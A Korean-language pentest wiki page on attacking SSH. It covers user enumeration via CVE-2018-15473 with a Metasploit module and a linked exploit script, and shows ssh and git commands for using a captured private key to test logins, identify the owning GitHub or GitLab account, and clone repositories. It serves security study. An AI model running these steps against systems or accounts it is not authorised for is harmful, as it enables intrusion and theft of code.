> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/post-exploit/protocols/22-ssh.md).

# 22 - ssh

### 시스템 계정 열거

CVE-2018-15473로 인해 OpenSSH 7.7 미만의 버전에서는 서버에 사전 기반의 시스템 계정 열거 공격이 가능합니다.

<pre class="language-bash"><code class="lang-bash"><strong># msfconsole 사용
</strong>msfconsole
use auxiliary/scanner/ssh/ssh_enumusers

<strong># github 사용
</strong>https://github.com/Rhynorater/CVE-2018-15473-Exploit/blob/master/sshUsernameEnumExploit.py
</code></pre>

### 정보 수집

ssh 비밀키를 획득했을 때 기본 정보 열거 옵션을 통해 어떤 계정의 키인지 확인할 수 있습니다.&#x20;

또한 올바른 키를 통해 정확한 서버에 로그인을 시도했을 때와 그 외의 경우, 출력되는 응답 로그를 통해 어떤 서버에 로그인 가능한지 여부를 확인할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># 비밀키의 지문(sha256) 확인
</strong>ssh-keygen -lf id_rsa

<strong># 개인키로 원격 호스트에 인증만 테스트 (TTY 없이 인증만 시도)
</strong>ssh -T -i id_rsa user@192.168.1.12

<strong># 서버에 접근하여 어디에 사용되는 SSH 키인지 확인
</strong>ssh -T -i id_rsa git@github.com
ssh -T -i id_rsa git@gitlab.com

<strong># github 비밀키를 이용하여 깃클론
</strong>GIT_SSH_COMMAND='ssh -i id_rsa -o IdentitiesOnly=yes' git clone git@github.com:/'&#x3C;repositorie>'
</code></pre>
